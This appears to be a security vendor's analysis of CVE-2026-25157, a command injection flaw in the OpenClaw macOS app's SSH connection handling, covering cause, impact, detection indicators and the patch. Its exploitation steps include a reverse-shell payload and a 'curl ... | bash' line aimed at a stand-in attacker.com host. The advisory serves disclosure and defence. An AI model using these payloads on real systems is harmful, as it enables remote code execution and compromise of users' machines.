CVE-2026-25157: 
Homebrew vulnerability analysis and mitigation

CVE-2026-25157 is an OS Command Injection vulnerability (CWE-78) in OpenClaw, a personal AI assistant, specifically affecting its macOS application's SSH remote connection handling component (CommandResolver.swift). Two related flaws exist: one in the sshNodeCommand function (unescaped project path leading to remote code execution) and one in the parseSSHTarget function (missing validation allowing SSH flag injection for local code execution). All versions of the clawdbot npm package prior to 2026.1.29 are affected; the CLI, web gateway, iOS/Android apps, and Local mode users are not impacted. The vulnerability was published on January 31, 2026, and assigned a CVSS v3.1 base score of 7.7 (High) by GitHub Advisory and 7.5 (High) by NVD (GitHub Advisory, OpenClaw Advisory).

The root cause is improper neutralization of special elements in OS commands (CWE-78), manifesting in two distinct code paths within the macOS application's SSH handling logic. First, in sshNodeCommand, a shell script is constructed using a user-supplied project root path without proper shell escaping; when the cd command fails, the unescaped path is interpolated directly into an echo statement, enabling arbitrary command execution on the remote SSH host. Second, in parseSSHTarget, there is no validation to reject SSH target strings beginning with a dash, so an attacker-controlled value like -oProxyCommand=<cmd> is interpreted as an SSH configuration flag rather than a hostname, enabling arbitrary command execution on the local machine. Exploitation requires an attacker to influence the user's remote connection settings, typically via social engineering or delivery of a malicious configuration (GitHub Advisory, OpenClaw Advisory).

Successful exploitation can result in arbitrary code execution on either the user's local machine (via the SSH flag injection vector) or the configured remote SSH host (via the unescaped path vector), with full confidentiality, integrity, and availability impact on the affected system. An attacker achieving code execution on the local machine could access sensitive data, credentials, or AI agent context stored locally, and potentially pivot to other systems accessible from that host. The scope is changed, meaning the impact can extend beyond the vulnerable OpenClaw component itself to other resources on the local or remote system (GitHub Advisory).

No public proof-of-concept exploit code has been identified, and there is no confirmed evidence of in-the-wild exploitation at the time of disclosure. The EPSS score is approximately 0.021% (0.000210), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, threat intelligence sources note that tens of thousands of OpenClaw instances have been observed exposed to the internet, and APT group activity has been reported in proximity to exposed deployments, raising the risk profile (GitHub Advisory, Daily Tech Feed).

1. Reconnaissance: Identify targets running OpenClaw in macOS Remote/SSH mode using versions prior to 2026.1.29. Use tools like Shodan or Censys to locate exposed OpenClaw control panels or identify users via social media/forums.
2. Craft malicious SSH target (local RCE vector): Prepare an SSH target string beginning with a dash, such as -oProxyCommand=<malicious_command> (e.g., -oProxyCommand='bash -i >& /dev/tcp/attacker.com/4444 0>&1').
3. Deliver malicious configuration: Social-engineer the target user into importing or using a crafted OpenClaw configuration file or project that sets the SSH target to the attacker-controlled value.
4. Trigger SSH connection: Induce the user to initiate a remote SSH connection within the OpenClaw macOS application, causing parseSSHTarget to pass the attacker-controlled string directly to the SSH client as a flag.
5. Achieve local code execution: The SSH client interprets -oProxyCommand=... as a configuration directive and executes the embedded command on the user's local machine.
6. Alternative — remote RCE via project path: Alternatively, supply a malicious project root path containing shell metacharacters (e.g., ; curl http://attacker.com/shell.sh | bash #). When cd to this path fails, the unescaped path is interpolated into an echo statement in the remote shell script, executing the injected command on the remote SSH host (GitHub Advisory, OpenClaw Advisory).

• Network: Unexpected outbound connections from the OpenClaw macOS process or SSH client to unknown external IP addresses or domains; SSH ProxyCommand-initiated connections to attacker-controlled hosts.
• Process: Unusual child processes spawned by the SSH client (e.g., bash, curl, wget, python) with network activity; shell processes with reverse shell characteristics (e.g., /dev/tcp/ in command arguments).
• Logs: SSH client logs or macOS system logs showing SSH invocations with -oProxyCommand flags containing unexpected commands; shell error messages referencing unusual project paths with embedded special characters.
• File System: Unexpected scripts, binaries, or cron jobs created in user home directories or temp directories following SSH connection attempts; new authorized_keys entries on remote SSH hosts.
• Configuration: OpenClaw configuration files containing SSH target strings beginning with a dash or project root paths containing shell metacharacters (;, |, $(), backticks) (GitHub Advisory).

The vendor has released a patch in OpenClaw version 2026.1.29, which fixes both the unescaped path interpolation in sshNodeCommand and the missing validation in parseSSHTarget. Users of the clawdbot npm package should upgrade to version 2026.1.29 or later immediately. As a workaround, users who cannot upgrade should avoid using OpenClaw in Remote/SSH mode and refrain from importing untrusted configuration files or project settings. Users running the CLI, web gateway, iOS/Android apps, or Local mode are not affected and do not require remediation (GitHub Advisory, OpenClaw Advisory).

The vulnerability attracted significant attention given OpenClaw's large user base (reportedly 85,000+ GitHub stars and hundreds of thousands of instances). Tenable published a blog post on mitigating vulnerabilities in agentic AI tools including OpenClaw, ClawdBot, and MoltBot (Tenable Blog). SecurityScorecard and Adversa AI published analyses of the broader risk landscape around exposed OpenClaw deployments (SecurityScorecard, Adversa AI). Cato Networks threat research highlighted how OpenClaw's AI personal assistant functionality could be weaponized as a backdoor (Cato Networks). Reddit and Mastodon discussions noted that over 135,000 OpenClaw instances were exposed to the internet, amplifying community concern. HackerNoon and Security Boulevard published commentary warning that the project's popularity masked serious security risks (HackerNoon, Security Boulevard).